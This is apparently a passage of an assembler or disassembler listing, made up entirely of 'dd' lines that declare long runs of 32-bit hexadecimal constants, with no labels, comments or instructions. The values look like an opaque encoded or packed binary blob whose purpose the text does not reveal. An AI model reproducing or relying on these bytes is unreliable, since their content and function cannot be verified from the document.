dd 0BD830006h, 589BAA19h, 3E5C5EC5h, 1C23BFh, 0A29D7C59h
dd 0BD12305Fh, 21A0D9BBh, 28568112h, 7FC134A4h, 29FD7581h
dd 0B8596100h, 0DBBE8BA4h, 4DCE541h, 17F3FCh, 4A8DAA94h
dd 3F67CBE1h, 68C2FB3Fh, 8B0F1DB9h, 28205C0h, 0E6F9080Dh
dd 751105C5h, 0D1128809h, 13748329h, 3C085350h, 2404D0B8h
dd 0B0EE04C9h, 0D337800Dh, 1CAC585Bh, 1A0C1141h, 573D8E3Bh
dd 0C16DA52Bh, 0EF205959h, 0DB6CD2F9h, 42C08E98h, 87CE8B66h
dd 10F999A0h, 7617EF80h, 1DBBFE0Fh, 0D350F3B1h, 1E04A287h
dd 8B2F7EB9h, 0F0FEC75h, 776842EBh, 9AC48B9h, 0E56F1F4h
dd 0BA605032h, 1BDCB422h, 0B7006771h, 0F648086Bh, 0AE360383h
dd 615F2EF5h, 10E86519h, 83C44229h, 0DFAD0062h, 93FE1D63h
dd 30013DC1h, 8A24574Bh, 0E8285FF5h, 91A20227h, 8525052Dh
dd 8195391Dh, 0F5BF0569h, 94538BA3h, 1923083Ah, 0B7C4C700h
dd 52971EF0h, 0EA0E8AE9h, 0FB24901Fh, 0D799824Bh, 0DE8C8AAAh
dd 8FAD5200h, 0B2FCB720h, 0C6BA4CA1h, 0C649C358h, 81083464h
dd 631C98Eh, 5BEB4374h, 0F800AB6Ah, 4D394770h, 6016413Fh
dd 6020E890h, 7F569FDh, 11D44B0Fh, 0B056709Ch, 5B0061DCh
dd 0A58FD808h, 3D801A37h, 7C48A4E7h, 3231C513h, 0F924B714h
dd 2847DDD8h, 4490DB80h, 0A700D204h, 0D68BD49Ah, 0A48AB250h
dd 0F7A8ECD7h, 0E484D2C3h, 6E584AC5h, 0FF3500BCh, 0D6EA9E6Fh
dd 189D16C2h, 0B1D65C0h, 2030C9BAh, 9149BD89h, 4C264CE5h
dd 8C1CE8DBh, 0BA2B9000h, 29954E63h, 0BE4948E5h, 0E0098D14h
dd 0F4569942h, 8973EFF0h, 504A955Fh, 0D188C451h, 35E56613h
dd 39DC2D94h, 258354A7h, 0EB129031h, 280EBF88h, 0EC57DE2Bh
dd 0FC68F880h, 907FCA94h, 0E62404C1h, 0E60A4520h, 19DAE04Ah
dd 0C2890F15h, 142C886h, 0BDF9E9B7h, 0FC382D01h, 0EDF45D3Dh
dd 0D7281494h, 0D02BE429h, 44D2DEDh, 77007BC7h, 1D6E91F4h
dd 0D4A285C7h, 3558A731h, 2DB381B4h, 1516051Bh, 50393DE0h
dd 0B6D1F233h, 17467CC3h, 54CDD50Eh, 5876F4B4h, 7584CA29h
dd 2CAE3219h, 1A415526h, 105D9867h, 0C09E3CB9h, 0CA8BDE20h
dd 31C10168h, 5260CBFBh, 3370EB0Fh, 4EB9582Eh, 61451A00h
dd 5C243481h, 1F1494F8h, 0C9109F60h, 0BE937F06h, 0C4D8B788h
dd 1B0FDE9h, 16A4ED51h
dd 0DED4B39Eh, 958D0E37h, 0AA224076h, 0B781C2A1h, 747F93D2h
dd 0A0E59DF9h, 9482BF59h, 63D2F153h, 32BB8083h, 0A8AC28h
dd 689DB36Ch, 0E81AE303h, 10BB6000h, 0BE2869E2h, 0EDDC14C5h
dd 80818271h, 88331F93h, 2E17FD9Ch, 0FCFC669Ah, 0C8390D27h
dd 5AA4C359h, 0ED808897h, 0FC644C00h, 8349EFA9h, 0C4520633h
dd 0F64096D0h, 0D4008CA6h, 8A8CD25Dh, 0A4E1C01h, 0FF59CD98h
dd 4ADB1686h, 92CE817h, 17026DDh, 1D5C3609h, 19B681F1h
dd 0C7D4DC8Fh, 46A095Fh, 0BD528D0Fh, 2A9D89ECh, 0C002F96Ah
dd 20D17D90h, 2E827F40h, 0E860530Ah, 66004A0Fh, 237BC62Fh
dd 0D1B902C0h, 0E1E63042h, 3A5B3FE1h, 23946220h, 611A00EBh
dd 0EFF54929h, 5F1DFFE5h, 1583A5B7h, 0FA54988Fh, 0D920C659h
dd 63509202h, 80663B5Fh, 70C19CE9h, 0CC3576h, 8B10699Eh
dd 0FAFBB1DFh, 9FE42B13h, 0EE8BC61Fh, 0BA3A1059h, 0B27B1EFFh
dd 97F787Ah, 34F1F793h, 8EB91410h, 763EA301h, 81952B58h
dd 8A09D27Ch, 72DB6AF4h, 0DA49E07Bh, 6B2D5CBDh, 140B7110h
dd 22DCF1B3h, 0D17D99E7h, 1C1818h, 0F899255Bh, 21419531h
dd 5F7B1C8h, 0B05DBD8Bh, 5638682Ch, 50CA0786h, 0DEE06652h
dd 2BF310Fh, 146E2D33h, 0F5A3585Ah, 368079AAh, 5036FEB5h
dd 0B718E253h, 650028B7h, 28A058FCh, 716328D3h, 1612F2CCh
dd 80600B6Ah, 0BE5C233Bh, 0A59E4304h, 9A82613Ch, 538DA9B4h
dd 0A34870EDh, 77B6AD07h, 0F4909BDAh, 880FE9C8h, 63009771h
dd 980E95D5h, 0B1408Dh, 81A2B796h, 50CE8B16h, 0F9CB8A34h
dd 2EB8CCA9h, 0A7A07D04h, 0F78C4F02h, 0A793Ch, 0E67AC514h
dd 0C95256ABh, 0CD549912h, 1B201016h, 72CB0BFh, 0CA8145EFh
dd 57A8902Eh, 0BE54B58Dh, 0F5EE8B8Ch, 0E880819Ah, 0EEA096D1h
dd 5914BDBAh, 7DF047C9h, 3846BF14h, 8B1E7FEFh, 0B98F96FAh
dd 4FBA8084h, 0FA23E765h, 0C6B80C60h, 0FA5A1D11h, 27BFE394h
dd 0EC3FE495h, 301341D1h, 0F7118Ch, 9A25DD80h, 6E084456h
dd 135613Eh, 422E3A5Ah, 7622B58Bh, 0FA2CE44Ch, 67DF1EBDh
dd 0D4C466C6h, 600B2DE5h, 15E97902h, 0D7F6B800h, 610A04D8h
dd 0F8207E80h, 0CB942AD3h, 8DB58916h, 0CD606982h, 710AE089h
dd 477888D7h, 8B9ED801h, 20468DFEh, 6FC0285Ah, 4ADB3C08h
dd 0F74F73EAh, 61124FBCh, 0E3FD0945h, 9700703Fh, 0C8CA3C89h
dd 179D097Bh, 0A601788Eh, 8083EAE7h, 0AEB5E20Ah, 0C226E9F8h
dd 41BD093Bh, 405AE6F8h, 7001C96Eh, 802DF2F8h, 0D7507438h
dd 193BDBB6h, 0E82D1F86h, 0F100FB32h, 0BE0997Dh, 0F5009ABEh
dd 21023972h, 1720FED8h, 0B06B708Ch, 18414DA9h, 8A241A30h
dd 485A8678h, 0CF85629Bh, 0DE40C3CBh, 185CAE24h, 3EA97712h
dd 0E9E01CECh, 0F980479Ch, 84DC6535h, 14D10013h, 4BA8862h
dd 4664FF0Eh, 3D0D2F74h, 0BF6F6A2Eh, 49D03D05h, 0C4F0AD5Eh
dd 3B090BDDh, 8391261Bh, 0A3442A65h, 18A0599Dh, 0DCAABC40h
dd 0BD839C13h, 0B95E4595h, 0C0E92035h, 49077FBCh, 5B5DFFF3h
dd 244ECE9h, 5CF0DAD2h, 17F4503Ch, 0AA450E40h, 0E6D00034h
dd 0DA292001h, 7D07EF1Dh, 5B25BA66h, 0B76BE819h, 0D0B504FBh
dd 0E3EB8503h, 3114E2DAh, 9A0417Ch, 0A8AC0502h, 0C65A1F20h
dd 0EB8078DEh, 0B48B8753h, 0FC9EA1B9h, 2FEAA40h, 0E8F7C780h
dd 33C5017Fh, 0B660CB0Ch, 1DE30B8h, 504291BFh, 7142F1A1h
dd 0FED81819h, 0D0EB1361h, 7879C857h, 0F786DB04h, 0BB85F0FBh
dd 0E2B5EB09h, 0D162597Ch, 2F301919h, 1853126Eh, 9E0488A6h
dd 709ACB00h, 0E70C8FC9h, 952E1ED7h, 5BCE4009h, 4E0E335Fh
dd 6ABA36B0h, 24B65002h, 61C00B59h, 17634D39h, 2C211D10h
dd 50096B61h, 0C17E81B3h, 3166F52Eh, 33080122h, 2D183D8Dh
dd 80548192h, 0A04912DCh, 3B3F833h, 71BD0B20h, 468F500Eh
dd 0C6811ACAh, 0BF417D1Ch, 7B0ECF2Dh, 33FFFC9Ah, 99E09BE6h
dd 0D511A992h, 231D0DE8h, 859C8FFFh, 964DC680h, 337B7E1Bh
dd 398D2909h, 68AEA02Fh, 81801F69h, 10532B8Eh, 5AEAC8h
dd 34D64402h, 0D36C2E7Ch, 0B2564724h, 69780325h, 6E3E4B9Fh
dd 37250F79h, 0A3BAA19Ah, 2D24DAF9h, 2D8D2F89h, 0CCFF0A85h
dd 0E5248014h, 2A2505C1h, 8B944DF5h, 8CB9C1ECh, 90FDACC9h
dd 3DD203Eh, 0EF00014Fh, 94290271h, 5E0F5074h, 8A0C428Fh
dd 0EB4090D3h, 0A1B620C1h, 6AB760E1h, 54F95970h, 0F090E823h
dd 955074D3h, 221F86B7h, 4F9D961Dh, 0DA5DF201h, 0B86C6B8Eh
dd 0E021F6D3h, 0B890F396h, 8EDA5EEDh, 0C01A8861h, 8ED0CC07h
dd 4AF0E317h, 0C7B9A50Ah, 5AED9542h, 8BEE0F2Bh, 3FB8E9C0h
dd 1200BA58h, 0A0E171Dh, 5EB8A28Ch, 11B87A3Dh, 54A8B155h
dd 9529128Eh, 18EDA135h, 334BB6F9h, 6B80FADBh, 0D180CCE7h
dd 8BB42D69h, 12AB6682h, 3A58E0FBh, 91423E4h, 0F6F2E860h
dd 0EFCFB300h, 0E1810F1Fh, 0D08B03B5h, 8C25B1Ah, 0B1C3A087h
dd 416935CAh, 0B94F8286h, 2458D232h, 23182Eh, 0B7D1C281h
dd 897C68C7h, 260B2EF1h, 0F0A627BAh, 0EC73EA96h, 14C22483h
dd 79651184h, 5210E7FFh, 500925CAh, 0A5AFF64h, 2F89DDE1h
dd 3BA69417h, 0C22B580Ch, 6D98F01Ah, 3813C490h, 0AB35A4Dh
dd 50018C48h, 81D0033Ch, 9345D93Ah, 42238419h, 1EF0852Dh
dd 67D95CE9h, 9DD0C88Ch, 34031540h, 0D14F3C40h, 317B5D0h
dd 12ACCF8Bh, 50C4069h, 1C5BF86Dh, 0DCD103E8h, 4D1B5B20h
dd 121008DBh, 64142E01h, 59CCC8Fh, 8C04C483h, 8B4C5161h
dd 81100573h, 1418B0A9h, 243359B5h, 85FC3C0h, 0E0B22715h
dd 50775624h, 93BC6847h, 0A8774DA5h, 7B279530h, 0D3EBBC25h
dd 5F9B604Bh, 4AC49F89h, 0AF9AB800h, 0F92AE11Bh, 33D802DCh
dd 9D629391h, 9F404D6h, 0F3BB9F64h, 19900895h, 0E8B138C8h
dd 0EC042A35h, 0EB3266Ch, 381417F1h, 0B0460920h, 0C925893Dh
dd 0DEDEA10Ah, 488FF4Fh, 0C65B00A7h, 6612ED9Fh, 787A1D0Dh
dd 249AC595h, 1818820h, 0EDE8F885h, 0DE26C0A1h, 3C15CDF1h
dd 0DE0592B1h, 91B40419h, 2E0096DDh, 0CC01DCD6h, 23B35497h
dd 0DC6CAFF8h, 0EB606280h, 9F091AE1h, 807E08D1h, 8FB8F4B3h
dd 3DBA0C85h, 29D782E8h, 104ED990h, 0BD717493h, 89494F08h
dd 8156BD33h, 3B65E88Dh, 73C9EE43h, 97FFB228h, 0C1C7E56Dh
dd 806EC043h, 4CA40A0h, 2DB52994h, 0DE810009h, 1A1554A8h
dd 7D27E834h, 5DC8BDEh, 0E18D01E5h, 7D710912h, 4E5331A9h
dd 1DFA570h, 0A62FC6EBh, 2B1D8D09h, 9CD3B593h, 7546C812h
dd 0D26EE200h, 0DBDF157Fh, 82A764CFh, 0B87BEA41h, 583DB00h
dd 0C2BE0325h, 0C1D97506h, 0A7F94E8h, 0F418D29h, 52051377h
dd 0B89ABD77h, 0CD85501Ch, 0FEBE00E7h, 0E8235667h, 0EF95065Eh
dd 0FC6F4287h, 22658A40h, 58A94384h, 8C1BB8E4h, 0A252B900h
dd 0C8A5464Eh, 266F43Ch, 0E85FF78Bh, 9F5E0608h, 28BC00F4h
dd 7C26C82Fh, 645CACA0h, 0B7C2C00Eh, 0C5C6B52Eh, 485FCF6Eh
dd 0CD2901B8h, 73C17180h, 24DAA9A1h, 67A09Dh, 0F53AEB03h
dd 811A1E12h, 6D57B5E8h, 7ADBE61Ch, 41A3120h, 35366BEh
dd 68E217h, 0DA506123h, 9A3A6Eh, 1A8DC29h, 1A03E192h, 48BD8B2Fh
dd 6BE8594Bh, 0DE908F6Eh, 1E01CB32h, 7F678B18h, 72933090h
dd 3896E2D9h, 6FE84031h, 0BDA23F4Fh, 0F29029E5h, 8CB62355h
dd 3B1AB2A4h, 0E94AC029h, 0D9A0A9DFh, 9B5F6D28h, 0F94C838Eh
dd 0C7523C9Eh
dd 1300C524h, 808DDE05h, 9E634A77h, 0F1D31236h, 9C9FF4E9h
dd 126ADB03h, 0B0581D2Dh, 63C5D26h, 6C53225Eh, 8D20CAC6h
dd 5160251Fh, 9F38D010h, 5BD92F07h, 3320FF40h, 55F5C19h
dd 0E861C78Bh, 0D5968CB0h, 2C090F40h, 85D77195h, 0A7049FE8h
dd 6665A197h, 546E067Fh, 0A54E6608h, 9B2FFDA1h, 71C09F68h
dd 0B4829C94h, 3225901Bh, 4AAB32CDh, 20DE702Ch, 0A92C2F96h
dd 26F68012h, 5447CBBh, 0B25751F6h, 0B336006Ah, 2891C685h
dd 1E5903AAh, 8EC0B9Eh, 335417E0h, 0F8176D71h, 6BB6B05Fh
dd 312310F1h, 6000F6F9h, 1280F98Bh, 0A86115F5h, 0E96E4F1Bh
dd 1D5BDF25h, 2721C108h, 0C3209E8Fh, 0D295C5BFh, 11A1144Ah
dd 80AA9B2Eh, 922A806Fh, 404B79DCh, 8A25EE5Dh, 9D485863h
dd 80CF7A4Dh, 23CE08C1h, 0BDAB48E5h, 169D7579h, 0F6D82B1Ch
dd 701AE07Bh, 206BEB49h, 17EC28ABh, 29622707h, 0A5E9F8B4h
dd 0DB0559F2h, 0BE6F241Ch, 0ADE1252Dh, 0FDDC3B13h, 0D690B55Bh
dd 0B700243Dh, 0E082D050h, 1C28879Ah, 87D60C30h, 0DCE3AEBCh
dd 8D17CB90h, 0EDF32D95h, 0F8301DE2h, 36140045h, 26EA8E39h
dd 0F27AB0Eh, 0A0C486h, 0BE1A89F1h, 5D07294Eh, 42D185ABh
dd 707DEC04h, 1278563Ch, 5DA1559Dh, 0E01D969Fh, 26800F25h
dd 934AF976h, 9C3C7825h, 297DE4B0h, 99805D8Bh, 0D2FAB7B8h
dd 1C510D03h, 1BC88B7Eh, 5B2075B2h, 19D449B2h, 87F91025h
dd 8E29038Ch, 9D9F761Ah, 0A20158E0h, 21EA1B01h, 0FFB531B0h
dd 0A860E098h, 75820719h, 363D2F90h, 8A7CB004h, 0C280A491h
dd 0A0899F42h, 4A5EC8A8h, 624FC861h, 0B7DC3E00h, 0F3AAFA18h
dd 8A630316h, 0DDC5891Eh, 628BFD3Eh, 5315E1B8h, 583AD08Eh
dd 0DEA0FE0Fh, 591C90Ch, 266B1A70h, 0E0CDA900h, 3467FA3Fh
dd 85A0DF28h, 0D915C92Bh, 40276DADh, 56FDEABFh, 36A5EC0Fh
dd 3125760h, 68C17494h, 0F8FB585h, 0D5C43361h, 2D468826h
dd 35BE6688h, 0B0E20780h, 34611512h, 0BDB50399h, 883A8165h
dd 0D6005718h, 862BAC35h, 3802DC7h, 233C3078h, 0C7ED8CD3h
dd 0ADB51167h, 7E8BAA1Fh, 6D972A77h, 825AE1BCh, 4877360h
dd 0AC9ACFB8h, 9D60CA87h, 36958B46h, 0CEEF2B29h, 0F6BF0F1Ah
dd 74837CCAh, 0E001746h, 1FCA6EAh, 12520D8Dh, 2139109Eh
dd 81BD2905h, 1AE54B28h, 0F270A3FBh, 6619F68h, 590A2320h
dd 917498E9h, 0D8699332h, 340130E0h, 0E1CE96A6h, 3E0912E7h
dd 0C4002C6Ah, 8DE53579h, 0D01723CBh, 6AE0837Fh, 14A04C5h
dd 2621D185h, 95E92FCCh, 10F24E93h, 0BD896581h, 4C47737Dh
dd 8C18E856h, 7D683906h, 287EE88Ah, 4282241h, 0F162CABFh
dd 0EC55E872h, 0F1138C16h, 2D13D31Bh, 27A54E04h, 7156291Fh
dd 0E4181Bh, 438B542Fh, 0B3A1E1Dh, 8015B52Fh, 0A7D78144h
dd 27DD0BEDh, 92B7C58Ah, 0A8094796h, 2DFEFEA9h, 0FF42AA4Fh
dd 9B51A9h, 9A91082Ah, 0E40EC6DEh, 4CB5B248h, 8214BE33h
dd 99D0697Bh, 81468412h, 222021B4h, 0AD4219B0h, 0FB3E62D9h
dd 276278D8h, 0D12F8702h, 758C0FF8h, 80E64818h, 0D4D2C269h
dd 41536951h, 97EB370h, 6F55F49Bh, 504E45D8h, 10B1D88h
dd 652E2753h, 2F9642C7h, 71E7CE90h, 48DB24B9h, 4F1AF671h
dd 203C2CD8h, 0B4BE1D38h, 88950CD7h, 7DE03215h, 64E0FE8h
dd 110E926Eh, 368BD33h, 0F2724027h, 0B5CD0A21h, 17D5614Ah
dd 0C0B89169h, 0F7228005h, 52501ECFh, 5FD8308Bh, 298509F9h
dd 0CD97EBA4h, 0EA7BE347h, 70028EE8h, 5DB633F2h, 73BC9F40h
dd 191F832h, 0A2121192h, 0C8A5DD8Eh, 6878488Ah, 6AE4BC16h
dd 7EF033B6h, 4302B44Ah, 0AFDC9694h, 79B2E0CDh, 3AF5811Bh
dd 0C34C8BCDh, 5F6F00E6h, 706EF0E7h, 2E1CA93Dh, 5A678D37h
dd 7025BB99h, 0E596CCF0h, 0F977EB40h, 67BA00E7h, 8117F674h
dd 0C007B431h, 79731960h, 0BD87B9D4h, 5B022D24h, 0C47D1FFh
dd 4C601844h, 0A3283045h, 0E317F855h, 0C2A3A20Eh, 80440120h
dd 0B771FA23h, 0FA022224h, 1AFDB020h, 0ED620043h, 0C39C23B7h
dd 90CD6ADh, 0A732B1BDh, 20574A90h, 61978F29h, 0E0623C00h
dd 0BD284ABAh, 3DE904E3h, 0BF5B38A8h, 0BF66CA00h, 590FB4F8h
dd 6A1E7431h, 48B8C441h, 0CD09BF67h, 0CFDECD90h, 42E7D180h
dd 31E0E5F6h, 34BD2B8h, 0F158444h, 100F2E1Eh, 9CE9092Bh
dd 586DDC0Ch, 82823287h, 16B98Eh, 10759D03h, 93889EBEh
dd 0DF800092h, 536090ADh, 6343AA9Eh, 3957F009h, 190A00BDh
dd 4116D1A5h, 0CE005C99h, 0BF605A8Fh, 72BB3274h, 0E747074Fh
dd 1A6140B5h, 860F8696h, 84EC4F06h, 0BA7651A2h, 13266E88h
dd 2092EC90h, 0CBA5BE1Ah, 9FC0CA4Dh, 269DDEAh, 96D52A95h
dd 95FE5B3h, 0FB16C2C6h, 8B0F0BD0h, 118999D1h, 6923DE51h
dd 25DEDB76h, 6350412Fh, 6AA1A395h, 0DDB588FFh, 0F4ABB41Ah
dd 6A565301h, 7F99D89h, 11351022h, 1690CDDh, 15ED80D9h
dd 0D10183B2h, 0FD06FFD6h, 68B1C45Ah, 27B0A526h, 0BA007012h
dd 0E4D522CBh, 0DF0ECF71h, 0CCD42AE9h, 2227E294h, 262E070Bh
dd 51599ACAh, 0DC7C70A7h, 0B6270F08h, 0C1A399C8h, 2E49C041h
dd 2FAC893Ah, 9196888h, 0C51F055Dh, 7FC13B89h, 2C00718Bh
dd 0C82B0333h, 0D8CDD780h, 9C8D0FD1h, 0E9FE42BFh, 516D99D7h
dd 85A90FFAh, 7C4BFDCBh, 162923E4h, 2027ED8Dh, 360072Dh
dd 2AE1B516h, 0D86188C8h, 3BD9601Ch, 16FED064h, 93380024h
dd 0B675D182h, 53510F7Bh, 50842A4Ah, 5B5C76AAh, 84204895h
dd 65518A3Bh, 8EB1E800h, 984DD3F2h, 0BF72002Bh, 766B1D3Dh
dd 25A1A583h, 0F5C33FEh, 67658Eh, 2C86AE89h, 0ED240383h
dd 0C81D9DF9h, 0D80F2DCh, 37E9E1B7h, 12B58DC0h, 0BD0EBDD2h
dd 589ABC3Ah, 0AB06CA22h, 464D5772h, 4540B4B6h, 0DE0BC0h
dd 29B74385h, 0DDE124F7h, 0CB7B6E05h, 75AF5301h, 844BDA48h
dd 180B48Bh, 910713B9h, 0F3E70AE0h, 14FC17B3h, 0D9CF15D1h
dd 8784E936h, 250865B5h, 0C4AF3659h, 6EC89FB3h, 2B802961h
dd 0FEE3A0D2h, 0C23318ADh, 83D0B2D1h, 7504E90Bh, 8000B7F4h
dd 6EA97D41h, 0CE12424Fh, 22089815h, 0F473A791h, 4031FE72h
dd 880D869Fh, 0B2A91FD6h, 0FA343FB9h, 173520BBh, 51143003h
dd 7A8CD49h, 77BBE307h, 0EEC9D28Eh, 0B808C47Fh, 0A8F64E3Dh
dd 6A3BC7E0h, 0FB7F205h, 0E481FBBFh, 5F842049h, 3E01198Dh
dd 0F9131423h, 0FE0012E2h, 0A02634B0h, 8A00FD36h, 0E5DCD468h
dd 39505F8Eh, 180DC28Bh, 0E308C103h, 190296A4h, 12405848h
dd 80C2D77Dh, 2DF72A29h, 0B795EB52h, 0B8F90EA5h, 1A084F11h
dd 9F72C0Dh, 605B4DD7h, 5B82D0h, 9C066C93h, 0B7AF6654h
dd 0F680CD99h, 0DE4F3A05h, 81450761h, 80BA8CF3h, 29E1FF39h
dd 341B512h, 1009F9D1h, 4C807953h, 1910558Bh, 11A5808h
dd 45F09BD7h, 61D1B70Fh, 81011D48h, 22DB157Eh, 37406380h
dd 0F2543CFh, 60D1A089h, 0A6EFE280h, 53035C38h, 0DE2BE976h
dd 0E00C8FE5h, 2BBDA0F3h, 9B604B31h, 2808B8Dh, 919114Dh
dd 442F99DCh, 0DDC0006Ch, 0C513F8F7h, 4C02B34Fh, 80D4F9F2h
dd 0D169D1E1h, 7EF51916h, 0A3F457Eh, 0BBD07C9h, 6F60901h
dd 4D5802DEh, 0D88B3168h, 0DA7DC0C1h, 0DF0FDB0Ah, 0FEED2E33h
dd 961B3767h, 803DBCBDh, 0A008D39Fh, 3AD00078h, 0D7163F6Ch
dd 2E02B997h, 8A0BC5C7h, 0E00409DEh, 66500024h, 9C5101BBh
dd 71063B1Dh, 903CD5D1h
dd 0D9DAA6CBh, 3FF05ADh, 892A911Fh, 0DF0030F9h, 0D09BA7E5h
dd 0B474F3D5h, 82B28B09h, 0FEE91977h, 5113EC22h, 0BC00ED5Fh
dd 97F601F4h, 0C430D0CEh, 7422D73Eh, 40D4960Dh, 766D12AAh
dd 96A4CCF1h, 34705BDh, 8907718Ah, 7FA81D85h, 503EBF87h
dd 952934F0h, 12D4554Dh, 5561BE9h, 22999E0Ah, 3915850Dh
dd 4ED5088h, 1814C71Ch, 0EABB017Bh, 19B58BC0h, 0E1851641h
dd 49E6FD55h, 0EF0C77E0h, 7B601200h, 32E78135h, 8933736h
dd 93F09A88h, 1574E489h, 71429B8Ah, 46164428h, 2DFEE1A9h
dd 285A51ECh, 3EEC414Dh, 2434B1C1h, 0D919D086h, 0D1CB56FFh
dd 2ACF040Bh, 2506807h, 9B668D09h, 0A7B08701h, 633D792h
dd 0AF19017Eh, 7E731603h, 0EF0F116Eh, 13C1E92Fh, 2ACDC85Ch
dd 2609CFCCh, 941C0D85h, 0F1D6ED8Dh, 909ECC76h, 5AB7E4C6h
dd 54E850E2h, 9B601F72h, 5125286h, 0ED5FF8D9h, 90657683h
dd 14F1C166h, 4C232659h, 63C02D0Eh, 91AC1BE0h, 0EE0BBFD6h
dd 7B61D0BBh, 8809712Ah, 9213174h, 0D59B85C7h, 41DF2948h
dd 31343471h, 18DB18D6h, 0B0416FC0h, 8B90A011h, 0E9BC2297h
dd 42015C21h, 50010D2Dh, 41300C30h, 1E01E644h, 0B310E8C1h
dd 4C83020Eh, 295803F1h, 0EBE70D08h, 4DE3636h, 16EE3964h
dd 29501B33h, 18214028h, 113CD58h, 801B0957h, 0D3BBC0AEh
dd 0B1346D71h, 51854175h, 24DE3E04h, 0BD0B4B80h, 0DE822011h
dd 4D85C1B7h, 0D12C041Bh, 453BAF16h, 98D81BAh, 38D5290Ch
dd 0CA4241E1h, 0D36D291Dh, 8EA6DCC0h, 30AAB819h, 955712E5h
dd 4F9D083Dh, 0CADC4063h, 0AB271468h, 0A80779BCh, 32D5316Eh
dd 9611B5C9h, 0BFF1C7BDh, 0F9B70480h, 5C8CBF96h, 0C623BC24h
dd 0B76FFB1Eh, 3C8E0031h, 94EB05E1h, 99131E2Bh, 211E9524h
dd 417A7AA8h, 81144DACh, 4981A9EBh, 121D12A7h, 83A0DDA7h
dd 0BD2A232Bh, 8917AF75h, 64E2C486h, 16BAFE25h, 3FD6215Ch
dd 6ECEC283h, 0A5B6026Ah, 0C82D9D29h, 1C78121h, 12C26C0Ch
dd 2A205089h, 0C83759Bh, 32D0B1EDh, 1044E9CEh, 0A641078Dh
dd 500E5CD9h, 32DD5D21h, 3CD04A0Fh, 4A127643h, 0BAEEE902h
dd 459ECF0Eh, 0A2B8016Bh, 6AB2211Ch, 278BDA8Ch, 92A4499Dh
dd 7932B586h, 21B88Eh, 514EC711h, 0A57FBBDFh, 6A302C13h
dd 9DBC44ADh, 0BE49890h, 1CD1F693h, 3D53FC19h, 5031A01h
dd 8AB935A5h, 0CFDD807Eh, 0B3B6B2EDh, 1DEB76Ah, 0F36EC510h
dd 0D498D91Ah, 9D258D89h, 0BF3E2105h, 2C757684h, 0B2DB7842h
dd 0D4BEDC6Bh, 0F2C82B17h, 0F9F8530Fh, 64C2F5C4h, 21913BC4h
dd 3B233042h, 27BA2CBFh, 0EA467185h, 0D2913001h, 9A73A4F8h
dd 63222EFh, 0BDC81ECh, 32C35F1Ah, 0CEB5555Eh, 26AAB01h
dd 29739BB4h, 2DA00300h, 0BE632AB3h, 2EF32205h, 0EEE20119h
dd 23F8A700h, 0CBB4326Fh, 0B9C34802h, 46605F82h, 0F5D0EADh
dd 3280F423h, 85D8EECAh, 0F8319D02h, 0F1EA613Dh, 83AA44Eh
dd 513F2781h, 736ADEA1h, 0D0B77Dh, 8DCC32D7h, 3FB4870Fh
dd 0F66EDF45h, 2D091523h, 5ADB8B80h, 8360B7CBh, 0B6CDB6EBh
dd 0B75B178Dh, 0E74E35CCh, 274D03Ah, 36D8F7F3h, 0F123400Ah
dd 2028117h, 0F7812021h, 382C133Ch, 0C5080E22h, 0E5D32F2Eh
dd 16399504h, 0A891C60Bh, 0F08315A1h, 221CECB9h, 0C16193A0h
dd 0F465E90Eh, 0D38021FFh, 0D6EA8B7Fh, 0FD06DC9Bh, 0C7382E90h
dd 6169305Ch, 0EC0BEFEAh, 0DBD5BA95h, 0F94951C7h, 24E72503h
dd 50802FA8h, 12F84E8Ah, 8DD18834h, 2E0937ECh, 0E3DFF435h
dd 0DE809816h, 20A2B8E5h, 0A4C319E1h, 4F4129BBh, 0E076F622h
dd 1F26DD6h, 8C3BD170h, 3A27FFBDh, 39BB78D8h, 0AD852B9Fh
dd 2636F79h, 0F40F587h, 81A9B777h, 0D97379DAh, 0D7C2F527h
dd 705D417h, 0F6927CA9h, 5CCEA0BFh, 1F20F9F5h, 104119h
dd 904A9EE7h, 8020E848h, 384C4173h, 95FF2C5h, 9010B350h
dd 0A470C6D3h, 6B0902Eh, 114C7480h, 6C9448F5h, 895709DCh
dd 45221B5h, 0DE6DBEh, 3E390603h, 9B90F069h, 0C6E99625h
dd 0FF3A950Fh, 0D44B7Eh, 0F0A31DC6h, 0CCAA8D8Ah, 85095004h
dd 0EEAC12A5h, 0A8958493h, 292CA2CCh, 0CC61EB09h, 66900213h
dd 6C7203DFh, 56365B37h, 21A715A0h, 7AC54B58h, 0B0D2A9BFh
dd 0FD8D29C5h, 0B747D12Ah, 782C2B0Eh, 0D84041FFh, 501213EBh
dd 9DB4233h, 559BA580h, 8F500F4Ch, 6613605Ah, 6716F38Bh
dd 9561A2B4h, 7C90A299h, 59409FC9h, 0ACC1C05Bh, 8F343A97h
dd 64639FAh, 0E4E6AD25h, 0AC48AE00h, 51DA354Ch, 3900433h
dd 0AC0961BDh, 24A3A485h, 0E19D3304h, 0A466AC1Fh, 366EEAh
dd 800B92D3h, 19532CB6h, 0F21FE676h, 84352BDAh, 0CFBBB803h
dd 0E0BDDD6Ah, 6700D7B8h, 0B2C23DCBh, 98D0D137h, 45299F99h
dd 1A499082h, 48F438FCh, 0A910B37Ch, 395C6213h, 51915603h
dd 0CC6E0988h, 8848666h, 22F98D09h, 7F48B017h, 3F46A508h
dd 465F512Dh, 0E6F512E0h, 0D9980B70h, 0C2C3414Ah, 71E47901h
dd 9523F960h, 6103927Eh, 3E9BAE56h, 0A59D9947h, 172A4965h
dd 522313A4h, 2CAAA699h, 2A10A029h, 7F9AFA6Dh, 4A8BB98Ch
dd 0BDA7D0D9h, 7E8419EDh, 82D844FCh, 844282A6h, 45FDBC50h
dd 53790128h, 6AF6615Bh, 0E0095F4Ah, 0A7C94A38h, 4221F920h
dd 819F5013h, 946F63Dh, 5A610833h, 0BC15F3A8h, 0C89C808Ch
dd 34F08Dh, 0EE7AFDE6h, 0AD656C48h, 60E29813h, 7D00CAA2h
dd 0F8677EE7h, 0A8008463h, 0CF4F1179h, 0F4EC144Bh, 0B9C80198h
dd 0E95F6189h, 0F8379290h, 5C005DE2h, 9939BBDDh, 60BE5E4h
dd 5E0A5B3Bh, 38596B63h, 569D8800h, 6171CCh, 0C13A4FD6h
dd 0BF7BF266h, 6099FD09h, 10EC5978h, 84138859h, 0C09030BCh
dd 9156D8BDh, 0F9F5800h, 313D4855h, 20240518h, 9A58372h
dd 0C1D1FE3Eh, 9C9E200h, 89AD7Ch, 0DB2E454Ah, 4D5C062Ch
dd 38CB4400h, 0BD331B7Ah, 450D41C9h, 9531ACF8h, 8C0F16E5h
